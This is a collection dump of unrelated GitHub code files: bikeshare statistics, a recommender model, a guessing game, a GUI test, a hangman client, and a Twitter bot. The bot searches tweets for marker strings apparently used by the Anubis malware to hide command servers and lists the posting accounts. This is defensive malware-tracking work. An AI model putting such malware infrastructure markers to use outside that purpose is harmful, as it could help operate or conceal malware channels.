1\r\n                elif weekday == 3:\r\n                    weekday_dict[\"wednesday\"] += 1\r\n                elif weekday == 4:\r\n                    weekday_dict[\"thursday\"] += 1\r\n                elif weekday == 5:\r\n                    weekday_dict[\"friday\"] += 1\r\n                elif weekday == 6:\r\n                    weekday_dict[\"saturday\"] += 1\r\n                else:\r\n                    weekday_dict[\"sunday\"] += 1\r\n            elif the_month == \"all\":\r\n                if weekday == 1:\r\n                    weekday_dict[\"monday\"] += 1\r\n                elif weekday == 2:\r\n                    weekday_dict[\"tuesday\"] += 1\r\n                elif weekday == 3:\r\n                    weekday_dict[\"wednesday\"] += 1\r\n                elif weekday == 4:\r\n                    weekday_dict[\"thursday\"] += 1\r\n                elif weekday == 5:\r\n                    weekday_dict[\"friday\"] += 1\r\n                elif weekday == 6:\r\n                    weekday_dict[\"saturday\"] += 1\r\n                else:\r\n                    weekday_dict[\"sunday\"] += 1\r\n            \r\n                \r\n                \r\n        for i in weekday_dict:\r\n                if count < weekday_dict[i]:\r\n                    count = weekday_dict[i]\r\n                    popular_weekday = i\r\n                \r\n    return popular_weekday\r\n\r\n#city_file = get_city()\r\n#month = get_month()\r\n#print(most_popular_day_of_week(city_file,month))\r\n#what is the most popular start station and end station\r\ndef most_popular_start_and_end_station(file,the_month):\r\n    with open(file+\".csv\", 'r') as f_in:\r\n        file = csv.DictReader(f_in)\r\n        start_station_dict = {}\r\n        most_popular_start_station = \"\"\r\n        most_popular_end_station = \"\"\r\n        end_station_dict = {}\r\n        start_station_count = 0\r\n        end_station_count = 0\r\n        for rows in file:\r\n            date = rows['Start Time']\r\n            dt_obj = datetime.datetime.strptime(date, \"%Y-%m-%d %H:%M:%S\")\r\n            month = datetime.datetime.strftime(dt_obj, \"%m\")\r\n            weekday = dt_obj.isoweekday()\r\n            start_station = rows[\"Start Station\"]\r\n            end_station = rows[\"End Station\"]\r\n            if the_month == month:\r\n                    if end_station in end_station_dict:\r\n                        count = end_station_dict[end_station]\r\n                        end_station_dict[end_station] = count +1\r\n                    else:\r\n                        end_station_dict[end_station] = 1\r\n                    \r\n                    if start_station in start_station_dict:\r\n                        count = start_station_dict[start_station]\r\n                        start_station_dict[start_station] = count + 1\r\n                    else:\r\n                        start_station_dict[start_station] = 1\r\n            elif the_month == \"all\":\r\n                    if end_station in end_station_dict:\r\n                        count = end_station_dict[end_station]\r\n                        end_station_dict[end_station] = count +1\r\n                    else:\r\n                        end_station_dict[end_station] = 1\r\n                    \r\n                    if start_station in start_station_dict:\r\n                        count = start_station_dict[start_station]\r\n                        start_station_dict[start_station] = count + 1\r\n                    else:\r\n                        start_station_dict[start_station] = 1\r\n            \r\n                \r\n                \r\n                 \r\n    \r\n        for i in start_station_dict:\r\n            if start_station_count < start_station_dict[i]:\r\n                start_station_count = start_station_dict[i]\r\n                most_popular_start_station = i\r\n                \r\n        for j in end_station_dict:\r\n            if end_station_count < end_station_dict[j]:\r\n                end_station_count = end_station_dict[j]\r\n                most_popular_end_station = j\r\n    \r\n        \r\n    return most_popular_start_station, most_popular_end_station\r\n    \r\n        \r\n                \r\n\r\n#print(most_popular_start_and_end_station(city_file,month))\r\n#print(most_popular_day_of_week(city_file,month))\r\n\r\n\r\n\r\n\r\n\r\n    \r\n\r\n\r\n#what are the counts of each user type\r\ndef gender_count(file,the_month):\r\n    with open(file+\".csv\", 'r') as f_in:\r\n        file = csv.DictReader(f_in)\r\n        female = 0\r\n        male = 0\r\n        for rows in file:\r\n            date = rows['Start Time']\r\n            dt_obj = datetime.datetime.strptime(date, \"%Y-%m-%d %H:%M:%S\")\r\n            month = datetime.datetime.strftime(dt_obj, \"%m\")\r\n            weekday = dt_obj.isoweekday()\r\n            gender = rows[\"Gender\"]\r\n            if the_month == month:\r\n                if gender == \"Female\":\r\n                    female +=1\r\n                elif gender == \"Male\":\r\n                    male += 1\r\n            elif the_month == \"all\":\r\n                if gender == \"Female\":\r\n                    female +=1\r\n                elif gender == \"Male\":\r\n                    male += 1\r\n            \r\n                \r\n                \r\n    return female, male\r\n\r\n#print(gender_count(city_file, month_input))\r\n\r\n\r\n\r\n\r\n#what are the counts of each user type\r\ndef user_type(file, the_month):\r\n    with open(file+\".csv\", 'r') as f_in:\r\n        file = csv.DictReader(f_in)\r\n        subscriber = 0\r\n        customer = 0\r\n        for rows in file:\r\n            user = rows[\"User Type\"]\r\n            date = rows['Start Time']\r\n            dt_obj = datetime.datetime.strptime(date, \"%Y-%m-%d %H:%M:%S\")\r\n            month = datetime.datetime.strftime(dt_obj, \"%m\")\r\n            weekday = dt_obj.isoweekday()\r\n            if the_month == month:\r\n                if user == \"Subscriber\":\r\n                    subscriber += 1\r\n                elif user == \"Customer\":\r\n                    customer += 1\r\n            elif the_month == \"all\":\r\n                if user == \"Subscriber\":\r\n                    subscriber += 1\r\n                elif user == \"Customer\":\r\n                    customer += 1\r\n                \r\n                \r\n    return subscriber, customer\r\n\r\n\r\n#what are the earliest(oldest), most recent(young) and most popular birth years\r\n\r\ndef birth_years(file,the_month):\r\n    with open(file+\".csv\", 'r') as f_in:\r\n        file = csv.DictReader(f_in)\r\n        birth_dict = {}\r\n        birth_year_count = 0\r\n        count = 0\r\n        birth_years_list = []\r\n        popular_years = \"\"\r\n        \r\n        \r\n        for rows in file:\r\n            date = rows['Start Time']\r\n            dt_obj = datetime.datetime.strptime(date, \"%Y-%m-%d %H:%M:%S\")\r\n            month = datetime.datetime.strftime(dt_obj, \"%m\")\r\n            weekday = dt_obj.isoweekday()\r\n            if the_month == month:\r\n                birth = rows[\"Birth Year\"]\r\n                \r\n                if birth in birth_dict:\r\n                    birth_year_count = birth_dict[birth]\r\n                    birth_dict[birth] = birth_year_count + 1\r\n                else:\r\n                    birth_dict[birth] = 1\r\n        \r\n                    if birth not in birth_years_list and birth != \"\":\r\n                        birth_years_list.append(birth)\r\n            if the_month == \"all\":\r\n                birth = rows[\"Birth Year\"]\r\n                \r\n                if birth in birth_dict:\r\n                    birth_year_count = birth_dict[birth]\r\n                    birth_dict[birth] = birth_year_count + 1\r\n                else:\r\n                    birth_dict[birth] = 1\r\n        \r\n                    if birth not in birth_years_list and birth != \"\":\r\n                        birth_years_list.append(birth)\r\n        \r\n                \r\n                \r\n                \r\n        for i in birth_dict:\r\n            if count < birth_dict[i] and i != \"\":\r\n                count = birth_dict[i]\r\n                popular_years = i\r\n        earliest_year = min(birth_years_list)\r\n        most_recent = max(birth_years_list)\r\n        \r\n    return earliest_year, most_recent, popular_years\r\n            \r\ndef most_popular_trip(file,the_month):\r\n    with open(file+\".csv\", 'r') as f_in:\r\n        file = csv.DictReader(f_in)\r\n        count = 0\r\n        trip_count = 0\r\n        trip_dict = {}\r\n        for rows in file:\r\n            date = rows['Start Time']\r\n            dt_obj = datetime.datetime.strptime(date, \"%Y-%m-%d %H:%M:%S\")\r\n            month = datetime.datetime.strftime(dt_obj, \"%m\")\r\n            st_station = rows[\"Start Station\"]\r\n            en_station = rows[\"End Station\"]\r\n            trip = st_station +\" -- \"+ en_station\r\n            if the_month == month:\r\n                if trip in trip_dict:\r\n                    count += 1\r\n                    trip_dict[trip] = count\r\n                else:\r\n                    trip_dict[trip] = 1\r\n            elif the_month == \"all\":\r\n                if trip in trip_dict:\r\n                    count += 1\r\n                    trip_dict[trip] = count\r\n                else:\r\n                    trip_dict[trip] = 1\r\n            \r\n                \r\n        for i in trip_dict:\r\n            if trip_count < trip_dict[i]:\r\n                trip_count = trip_dict[i]\r\n                popular_trip = i\r\n    return popular_trip\r\n\r\n                \r\n    \r\n\r\n\r\n\r\ndef statistics():\r\n    '''Calculates and prints out the descriptive statistics about a city and time period\r\n    specified by the user via raw input.\r\n\r\n    Args:\r\n        none.\r\n    Returns:\r\n        none.\r\n    '''\r\n    # Filter by city (Chicago, New York, Washington)\r\n    city = get_city()\r\n\r\n    # Filter by time period (month, day, none)\r\n    time_period = get_time_period()\r\n    if time_period == \"month\":\r\n        month_input = get_month()\r\n        day = \"ads\"\r\n    elif time_period == \"none\":\r\n        month_input = \"all\"\r\n        day = \"ads\"\r\n    elif time_period == \"day\":\r\n        month_input = \"ads\"\r\n        day = get_day()\r\n        \r\n        \r\n    print('Calculating the first statistic...')\r\n    start_time = time.time()\r\n\r\n    # What is the most popular month for start time?\r\n    if time_period == 'none':\r\n        most_popular_month = popular_month(city) \r\n        print(\"The most popular month for start time :{}\".format(most_popular_month))\r\n        \r\n        # TODO: call popular_month function and print the results\r\n\r\n        print(\"That took %s seconds.\" % (time.time() - start_time))\r\n        print(\"Calculating the next statistic...\")\r\n    start_time = time.time()\r\n\r\n    # What is the most popular day of week (Monday, Tuesday, etc.) for start time?\r\n    if time_period == 'none' or time_period == 'month':\r\n        popular_day = most_popular_day_of_week(city,month_input)\r\n        print(\"The most popular_day for start time:{}\".format(popular_day))\r\n        # TODO: call popular_day function and print the results\r\n        \r\n    print(\"That took %s seconds.\" % (time.time() - start_time))\r\n    print(\"Calculating the next statistic...\")\r\n    start_time = time.time()\r\n\r\n    # What is the most popular hour of day for start time?\r\n    # TODO: call popular_day function and print the results\r\n    hour = popular_start_time(city,month_input)\r\n    print(\"The most popular hour is:{}\".format(hour))\r\n        \r\n\r\n    print(\"That took %s seconds.\" % (time.time() - start_time))\r\n    print(\"Calculating the next statistic...\")\r\n    start_time = time.time()\r\n\r\n#     What is the total trip duration and average trip duration?\r\n #    TODO: call trip_duration function and print the results\r\n    trip_duration, total = duration_stats(city,month_input)\r\n    print(\"The total trip duration is :{}\".format(trip_duration))\r\n    print(\"The total trip duration is :{}\".format(trip_duration/total))\r\n    \r\n    \r\n\r\n    print(\"That took %s seconds.\" % (time.time() - start_time))\r\n    print(\"Calculating the next statistic...\")\r\n    start_time = time.time()\r\n\r\n    # What is the most popular start station and most popular end station?\r\n    # TODO: call popular_stations function and print the results\r\n    starting_station, ending_station = most_popular_start_and_end_station(city,month_input)\r\n    print(\"The most popular start station is:{}\".format(starting_station))\r\n    print(\"The most popular end station is:{}\".format(ending_station))\r\n\r\n    print(\"That took %s seconds.\" % (time.time() - start_time))\r\n    print(\"Calculating the next statistic...\")\r\n    start_time = time.time()\r\n\r\n    # What is the most popular trip?\r\n    # TODO: call popular_trip function and print the results\r\n    popular_trip = most_popular_trip(city,month_input)\r\n    print(\"most_popular_tripis:{}\".format(popular_trip))\r\n    print(\"That took %s seconds.\" % (time.time() - start_time))\r\n    print(\"Calculating the next statistic...\")\r\n    start_time = time.time()\r\n\r\n    # What are the counts of each user type?\r\n    # TODO: call users function and print the results\r\n    subscriber, customer = user_type(city,month_input)\r\n    print(\"The total customers are:{}\".format(customer))\r\n    print(\"The total subscriber are:{}\".format(subscriber))\r\n    \r\n\r\n    print(\"That took %s seconds.\" % (time.time() - start_time))\r\n    print(\"Calculating the next statistic...\")\r\n    start_time = time.time()\r\n\r\n    # What are the counts of gender?\r\n    # TODO: call gender function and print the results\r\n    if city == \"chicago\" or city == \"new_york_city\":\r\n        female, male = gender_count(city,month_input)\r\n        print(\"total female:{}\".format(female))\r\n        print(\"toal male:{}\".format(male))\r\n        \r\n\r\n        print(\"That took %s seconds.\" % (time.time() - start_time))\r\n        print(\"Calculating the next statistic...\")\r\n        start_time = time.time()\r\n        earliest, most_recent, most_popular = birth_years(city,month_input)\r\n        print(\"The earliest birth year is:{}\".format(earliest))\r\n        print(\"The most recent birth year is:{}\".format(most_recent))\r\n        print(\"The most popular birth year is:{}\".format(most_popular))\r\n    # What are the earliest, most recent, and most popular birth years?\r\n    # TODO: call birth_years function and print the results\r\n\r\n        print(\"That took %s seconds.\" % (time.time() - start_time))\r\n\r\n    # Display five lines of data at a time if user specifies that they would like to\r\n    \r\n\r\n     #Restart?\r\n    restart = input('Would you like to restart? Type \\'yes\\' or \\'no\\'.')\r\n    if restart.lower() == 'yes':\r\n        statistics()\r\n\r\nif __name__ == \"__main__\":\r\n\tstatistics()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"vishalsangwan/us-bikeshare-project","sub_path":"final.py","file_name":"final.py","file_ext":"py","file_size_in_byte":20946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"3784737329","text":"import tweepy\nimport time\n\nfrom creds import *\n\n# anubis known strings\nkey_string_beginning = '\"苏尔的开\"' \nkey_string_end = '\"苏尔苏尔完\"'\nkey_string_beginning_spaced = '\"苏 尔 的 开\"' \nkey_string_end_spaced = '\"苏 尔 苏 尔 完\"'\nTWITTER_ACC_LIST = \"data/twitter_acc.dat\"\n\n\ndef main():\n    print(\"[*] Authenticating into Twitter API\")\n    api = authenticate()\n\n    print(\"[*] Starting Twitter bot\")\n    while True:\n        bot_list = get_twitter_bots(api)        \n        all_bots = check_if_new(bot_list)        \n        update_bot_list(all_bots)\n        time.sleep(60)    \n\ndef authenticate():\n    auth = tweepy.OAuthHandler(API_KEY, API_SECRET)\n    auth.set_access_token(ACCESS_TOKEN, ACCESS_SECRET)\n    api = tweepy.API(auth)\n    return api\n\n\ndef read_file(filename):\n    with open(filename) as f:\n        bot_list = f.read().splitlines() \n    return bot_list\n\ndef update_bot_list(bot_list):\n    with open(TWITTER_ACC_LIST, \"w\") as f:\n        for bot in bot_list:\n            f.write(bot + '\\n')\n\n\ndef check_if_new(bot_list):\n    known_bots = read_file(TWITTER_ACC_LIST)\n    for bot in bot_list:\n        if bot not in known_bots:\n            known_bots.append(bot)\n            print(\"found new bot: \" + bot)   \n    return known_bots\n\n\ndef get_twitter_bots(api):\n    users = []\n    public_tweets1 = api.search(key_string_beginning)\n    public_tweets2 = api.search(key_string_end)\n    public_tweets3 = api.search(key_string_beginning_spaced)\n    public_tweets4 = api.search(key_string_end_spaced)\n    for tweet in public_tweets1:\n        users.append(\"https://twitter.com/\" + tweet.user.screen_name)\n    for tweet in public_tweets2:\n        users.append(\"https://twitter.com/\" + tweet.user.screen_name)\n    for tweet in public_tweets3:\n        users.append(\"https://twitter.com/\" + tweet.user.screen_name)\n    for tweet in public_tweets4:\n        users.append(\"https://twitter.com/\" + tweet.user.screen_name)\n\n    users = sorted(set(users))\n    return users        \n\nif __name__==\"__main__\":\n    main()\n","repo_name":"ddurando/anubis_rev","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18100554176","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass CML(nn.Module):\n\tdef __init__(self, user_count, item_count, dim, margin, gpu):\n\t\t\"\"\"\n\t\tParameters\n\t\t----------\n\t\tuser_count : int\n\t\titem_count : int\n\t\tdim : int\n\t\tmargin : float\n\t\t\"\"\"\n\t\tsuper(CML, self).__init__()\n\t\tself.user_count = user_count\n\t\tself.item_count = item_count\n\n\t\tself.user_list = torch.LongTensor([i for i in range(user_count)])\n\t\tself.item_list = torch.LongTensor([i for i in range(item_count)])\n\n\t\tif gpu != None:\n\t\t\tself.user_list = self.user_list.to(gpu)\n\t\t\tself.item_list = self.item_list.to(gpu)\n\t\t\t\n\t\t# User / Item Embedding\n\t\tself.user_emb = nn.Embedding(self.user_count, dim, max_norm=1.)\n\t\tself.item_emb = nn.Embedding(self.item_count, dim, max_norm=1.)\n\n\t\tnn.init.normal_(self.user_emb.weight, mean=0., std= 1 / (dim ** 0.5))\n\t\tnn.init.normal_(self.item_emb.weight, mean=0., std= 1 / (dim ** 0.5))\n\n\t\tself.margin = margin\n\n\t\t# user-item similarity type\n\t\tself.sim_type = 'L2 dist'\n\n\n\tdef forward(self, batch_user, batch_pos_item, batch_neg_item):\n\t\t\"\"\"\n\t\tParameters\n\t\t----------\n\t\tbatch_user : 1-D LongTensor (batch_size)\n\t\tbatch_pos_item : 1-D LongTensor (batch_size)\n\t\tbatch_neg_item : 1-D LongTensor (batch_size)\n\n\t\tReturns\n\t\t-------\n\t\toutput : \n\t\t\tModel output to calculate its loss function\n\t\t\"\"\"\n\t\t\n\t\tu = self.user_emb(batch_user)\t\t\t\n\t\ti = self.item_emb(batch_pos_item)\t\t\n\t\tj = self.item_emb(batch_neg_item)\t\n\t\t\n\t\tpos_dist = ((u - i) ** 2).sum(dim=1, keepdim=True)\n\t\tneg_dist = ((u - j) ** 2).sum(dim=1, keepdim=True)\n\n\t\toutput = (pos_dist, neg_dist)\n\n\t\treturn output\n\n\n\tdef get_loss(self, output):\n\t\t\"\"\"Compute the loss function with the model output\n\n\t\tParameters\n\t\t----------\n\t\toutput : \n\t\t\tmodel output (results of forward function)\n\n\t\tReturns\n\t\t-------\n\t\tloss : float\n\t\t\"\"\"\n\t\tpos_dist, neg_dist = output[0], output[1]\n\t\tloss = F.relu(self.margin + pos_dist - neg_dist).sum()\n\t\t\n\t\treturn loss\n\n\n\tdef forward_multi_items(self, batch_user, batch_items):\n\t\t\"\"\"forward when we have multiple items for a user,\n\t\t\tUsually for evaluation purpose\n\n\t\tParameters\n\t\t----------\n\t\tbatch_user : 1-D LongTensor (batch_size)\n\t\tbatch_items : 2-D LongTensor (batch_size x k)\n\n\t\tReturns\n\t\t-------\n\t\tdist : 2-D FloatTensor (batch_size x k)\n\t\t\"\"\"\n\t\tbatch_user = batch_user.unsqueeze(-1)\n\t\tbatch_user = torch.cat(batch_items.size(1) * [batch_user], 1)\n\t\t\t\n\t\tu = self.user_emb(batch_user)\t\t# batch_size x k x dim\n\t\ti = self.item_emb(batch_items)\t\t# batch_size x k x dim\n\t\t\n\t\tdist = ((u - i) ** 2).sum(dim=-1, keepdim=False)\n\t\t\n\t\treturn dist\n\n\n\tdef get_embedding(self):\n\t\t\"\"\"get total embedding of users and items\n\n\t\tReturns\n\t\t-------\n\t\tusers : 2-D FloatTensor (num. users x dim)\n\t\titems : 2-D FloatTensor (num. items x dim)\n\t\t\"\"\"\n\t\tusers = self.user_emb(self.user_list)\n\t\titems = self.item_emb(self.item_list)\n\n\t\treturn users, items\n\n\n\n","repo_name":"SeongKu-Kang/RS_Implicit_Feedback_PyTorch","sub_path":"Models/CML.py","file_name":"CML.py","file_ext":"py","file_size_in_byte":2824,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"}
+{"seq_id":"74149870590","text":"import random\r\n\r\nclass FengXinMin_game(object):\r\n\r\n\tdef __init__(self):\r\n\t\tself.int = 0\r\n\t\tself.count_w = 0\r\n\t\tself.count_d = 0\r\n\r\n\tdef FengXinMin_Cai(self):\r\n\t\tself.int = random.randint(0,20)\r\n\t\tprint(self.int)\r\n\t\tself.count_w += 1\r\n\r\n\t\tself.count_d = 0\r\n\r\n\t\twhile True:\r\n\t\t\tself.count_d += 1\r\n\r\n\t\t\tFengXinMin_int = int(input(\"请输入一个整数看看你输入的数字是对的还是错的：\"))\r\n\t\t\tprint(FengXinMin_int)\r\n\r\n\t\t\tif FengXinMin_int > self.int:\r\n\t\t\t\tprint(\"你猜错了，比我的数字大了,再猜猜吧！\")\r\n\t\t\telif FengXinMin_int < self.int:\r\n\t\t\t\tprint(\"你猜错了，比我的数字小了,再猜猜吧！\")\r\n\t\t\telse:\r\n\t\t\t\tprint(\"你猜对了，我的数字就是\" + str(self.int))\r\n\t\t\t\tbreak\r\n\t\tprint(\"一共玩了：%d 局游戏\"%self.count_w)\r\n\t\tprint(\"本局猜了：%d 次\"%self.count_d)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFengXinMin_CaiZi = FengXinMin_game()\r\n\r\n\r\n\r\n\r\ntry:\r\n\twhile True:\r\n\t\tFengXinMin_count = int(input(\"输入1开始游戏：\"))\r\n\t\tif FengXinMin_count == 1:\r\n\t\t\tFengXinMin_CaiZi.FengXinMin_Cai()\r\n\t\telse:\r\n\t\t\tbreak\r\nexcept:\r\n\tprint(\"你选择了退出游戏，再见！\")\r\n\r\n\r\n","repo_name":"chauncyfxm/niPython","sub_path":"2018_3_20_冯新民机试题/冯新民机试题1题20018_3_20/FengXinMin.py","file_name":"FengXinMin.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31309718544","text":"import unittest\nimport datetime\n\nfrom PySide.QtGui import QApplication,QMainWindow, QDialogButtonBox\nfrom PySide.QtTest import QTest\nfrom PySide.QtCore import Qt\n\nfrom koi.test.test_base import TestBase\nfrom koi.db_mapping import *\nfrom koi.dao import *\nfrom koi.FindOrder import FindOrderDialog\n\nclass TestFindOrderGUI(TestBase):\n\n    @classmethod\n    def setUpClass(cls):\n        super(TestFindOrderGUI,cls).setUpClass()\n        app = QApplication.instance()\n        if app is None:\n            app = QApplication(sys.argv)\n        cls.app = app\n\n    @classmethod\n    def tearDownClass(cls):\n        cls.app.processEvents()\n        # cls.app.exit()\n\n    def setUp(self):\n        super(TestFindOrderGUI,self).setUp()\n\n        self.widget = FindOrderDialog(None)\n\n        self._order = self._make_order()\n        self.dao.order_dao.recompute_position_labels(self._order)\n        session().commit()\n\n        self.widget.show()\n        QTest.qWaitForWindowShown(self.widget)\n\n    def tearDown(self):\n        super(TestFindOrderGUI,self).tearDown()\n\n        # Those two lines avoid crash\n        self.widget.close()\n        # self.widget.deleteLater()\n        self.widget = None\n\n    def test_find_happy(self):\n        order = self._make_order()\n        dao.order_dao.save(order)\n        session().commit()\n\n        self.show_order(order)\n        b = self.widget.buttons.button(QDialogButtonBox.Ok)\n\n        mainlog.debug(str(order.preorder_label))\n\n        self.widget.search_criteria.setText(str(order.accounting_label))\n\n        \n        QTest.keyEvent(QTest.Click, self.app.focusWidget(), Qt.Key_Enter)\n\n        self.app.processEvents()\n        self.assertEqual(1,self.widget.search_results_model.rowCount())\n\n\n    def test_find_fails(self):\n        self._make_order()\n        session().commit()\n        self._make_order()\n        session().commit()\n\n        self.widget.search_criteria.setText(\"A\")\n        self.prepare_to_click_dialog(\"filter_is_too_short\")\n        print(\"1\"*10)\n        self._fix_focus(self.widget, self.widget.search_criteria)\n        QTest.keyEvent(QTest.Click, self.app.focusWidget(), Qt.Key_Enter)\n\n        print(\"2\"*10)\n        self.widget.search_criteria.setText(\"\")\n        self.prepare_to_click_dialog(\"filter_is_empty\")\n        self._fix_focus(self.widget, self.widget.search_criteria)\n        QTest.keyEvent(QTest.Click, self.app.focusWidget(), Qt.Key_Enter)\n\n        print(\"3\"*10)\n        \n        # Monkey patching !\n        old_max = dao.order_part_dao.MAX_RESULTS\n        dao.order_part_dao.MAX_RESULTS = 1\n        self.widget.search_criteria.setText(self.customer.fullname)\n        self.prepare_to_click_dialog(\"too_many_results\")\n        self._fix_focus(self.widget, self.widget.search_criteria)\n        QTest.keyEvent(QTest.Click, self.app.focusWidget(), Qt.Key_Enter)\n        self.assertEqual(1,self.widget.search_results_model.rowCount())\n\n        dao.order_part_dao.MAX_RESULTS = old_max\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"wiz21b/koi","sub_path":"koi/test/test_find_order_gui.py","file_name":"test_find_order_gui.py","file_ext":"py","file_size_in_byte":2978,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"}
+{"seq_id":"14715326364","text":"import math\nimport sys\nimport socket\nimport os\nimport pygame\n\nos.environ[\"SDL_AUDIODRIVER\"] = \"dummy\"\n\nHOST = sys.argv[1]\nPORT = 15000\n\n# Define colors\nRED = (255, 65, 54)\nGREEN = (46, 204, 64)\nBLUE = (0, 116, 217)\nORANGE = (255, 133, 27)\nPURPLE = (177, 13, 201)\nWHITE = (255, 255, 255)\nBLACK = (0,0,0)\nYELLOW = (255, 255, 0)\nPINK = (255, 192, 203)\nGRAY = (128, 128, 128)\nLIGHT_GRAY = (211, 211, 211)\nDARK_RED = (139, 0, 0)\nDARK_GREEN = (0, 100, 0)\nDARK_BLUE = (0, 0, 139)\nORANGE_LIGHT = (255, 179, 117)\nLIGHT_PURPLE = (231, 67, 255)\nLIGHT_GREEN = (86, 244, 104)\n\n\nword = \"locomotora\"\n\nclass Letra:\n    def __init__(self,x1,y1,width,height,text,textX,textY):\n        self.x1 = x1\n        self.y1 = y1\n        self.width = width\n        self.height = height\n        self.rectangulo = pygame.Rect(x1,y1,width,height)\n        self.text = text\n        self.textX = textX\n        self.textY = textY\n        self.activo = True\n\nclass Button:\n    def __init__(self, x, y, width, height, color, text_color, text):\n        self.rect = pygame.Rect(x, y, width, height)\n        self.color = color\n        self.text_color = text_color\n        self.text = text\n        self.font = pygame.font.Font(None, 32)\n        self.gradient_top = tuple([min(int(c * 1.2), 255) for c in self.color])\n        self.gradient_bottom = tuple([min(int(c * 1.5), 255) for c in self.color])\n        self.border_color = tuple([max(int(c * 0.8), 0) for c in self.color])\n        self.clicked_color = tuple([max(int(c * 0.8), 0) for c in self.gradient_top])\n        self.clicked = False\n\n    def draw(self, surface):\n        # Draw the button background with gradient\n        surface.fill(self.gradient_top, self.rect)\n        pygame.draw.rect(surface, self.gradient_bottom, self.rect.inflate(-5, -5),border_radius=10)\n        pygame.draw.rect(surface, self.color, self.rect.inflate(-10, -10))\n\n        # Draw the button border\n        pygame.draw.rect(surface, self.border_color, self.rect, 5)\n\n        # Render the button text\n        text_surface = self.font.render(self.text, True, self.text_color)\n\n        # Center the text on the button\n        text_rect = text_surface.get_rect(center=self.rect.center)\n\n        # Blit the text onto the surface\n        surface.blit(text_surface, text_rect)\n\n    def handle_event(self, event):\n        if event.type == pygame.MOUSEBUTTONDOWN:\n            if self.rect.collidepoint(event.pos):\n                self.clicked = True\n                self.color = self.clicked_color\n        elif event.type == pygame.MOUSEBUTTONUP:\n            if self.clicked:\n                self.clicked = False\n                self.color = self.gradient_top\n                return True\n        return False\n\nclass InputField:\n    def __init__(self, x, y, width, height, label, max_chars):\n        self.rect = pygame.Rect(x, y, width, height)\n        self.text = \"\"\n        self.hiddenText = \"\"\n        self.max_chars = max_chars\n        self.name = label\n        self.label = font.render(label, True, DARK_BLUE)\n        self.label_rect = self.label.get_rect(topleft=(x, y - height//2))\n        self.font = pygame.font.Font(None, 28)\n        self.active = False  # added to keep track of focus\n\n    def handle_event(self, event):\n        if event.type == pygame.MOUSEBUTTONDOWN:\n            if self.rect.collidepoint(event.pos):\n                self.active = True\n            else:\n                self.active = False\n\n        if self.active and event.type == pygame.KEYDOWN:\n            if event.key == pygame.K_BACKSPACE:\n                self.text = self.text[:-1]\n                self.hiddenText = self.hiddenText[:-1]\n            elif event.unicode.isalnum() and len(self.text) < self.max_chars:\n                self.text += event.unicode\n                self.hiddenText += '*'\n\n    def draw(self, surface):\n        if self.active:\n            pygame.draw.rect(surface, LIGHT_GRAY, self.rect, border_radius=10)\n        else:\n            pygame.draw.rect(surface, WHITE, self.rect, border_radius=10)\n        if self.name == \"Password\":\n            text = self.font.render(self.hiddenText, True, BLACK)\n        else:\n            text = self.font.render(self.text, True, BLACK)\n        text_rect = text.get_rect(center=self.rect.center)\n        surface.blit(self.label, self.label_rect)\n        surface.blit(text, text_rect)\n\nclass Alert:\n    def __init__(self, text):\n        self.font = pygame.font.Font(None, 40)\n        self.text = self.font.render(text, True, (255, 255, 255))\n        self.rect = self.text.get_rect(center=(screen_width // 2, screen_height // 4))\n        self.rect.inflate_ip(0, 20)  # add 20 pixels of padding to top and bottom\n\n    def draw(self, screen):\n        pygame.draw.rect(screen, RED, self.rect, border_radius=10)\n        screen.blit(self.text, self.rect)\n\n\ndef drawHead():\n    pygame.draw.circle(screen, \"blue\", [424, 135], 15)\n\ndef drawBody():\n    pygame.draw.line(screen, \"blue\", [424, 150], [424, 200], 5)\n    \ndef drawLegs():\n    pygame.draw.line(screen, \"blue\", [424, 200], [444, 220], 5)\n    pygame.draw.line(screen, \"blue\", [424, 200], [404, 220], 5)\n\ndef drawArms():\n    pygame.draw.line(screen, \"blue\", [424, 160], [444, 185], 5)\n    pygame.draw.line(screen, \"blue\", [424, 160], [404, 185], 5)\n    \ndef drawDead():\n    pygame.draw.line(screen, \"red\", [415, 130], [421, 140], 1)\n    pygame.draw.line(screen, \"red\", [415, 140], [421, 130], 1)\n    pygame.draw.line(screen, \"red\", [433, 130], [427, 140], 1)\n    pygame.draw.line(screen, \"red\", [433, 140], [427, 130], 1)\n\ns =  socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ntry:\n    s.connect((HOST, PORT))\n    print('Connected to', HOST, 'on port', PORT)\n    \n    # pygame setup\n    pygame.init()\n    pygame.font.init()\n    lettersFont = pygame.font.SysFont(\"Arial\", 20)\n    timerFont = pygame.font.SysFont(\"Arial\", 20)\n    screen_width = 730\n    screen_height = 500\n    screen = pygame.display.set_mode((screen_width, screen_height))\n    pygame.display.set_caption(\"Ahorcado\")\n    clock = pygame.time.Clock()\n    # \n    # pygame start screen\n    start = True\n    login = False\n    register = False\n    main = False\n    screen.fill(BLUE)\n\n    # Create the title text\n    font = pygame.font.Font(None, 64)\n    title_text = font.render(\"Ahorcado\", True, WHITE)\n    title_rect = title_text.get_rect(center=(screen_width//2, 100))\n\n    # Create the buttons\n    button_width = 200\n    button_height = 50\n    button_margin = 30\n    button_x = (screen_width - button_width) // 2\n    button_y = (screen_height - button_height - button_margin) // 2\n    loginButton = Button(button_x, button_y, button_width, button_height, ORANGE, WHITE, \"Login\")\n    button_y += button_height + button_margin\n    registerButton = Button(button_x, button_y, button_width, button_height, PURPLE, WHITE, \"Register\")\n    pygame.display.update()\n    while start:\n        # Handle events\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                start = False\n            else:\n                # Handle button events\n                if loginButton.handle_event(event):\n                    login = True\n                if registerButton.handle_event(event):\n                    register = True\n\n        # Login Screen\n        if 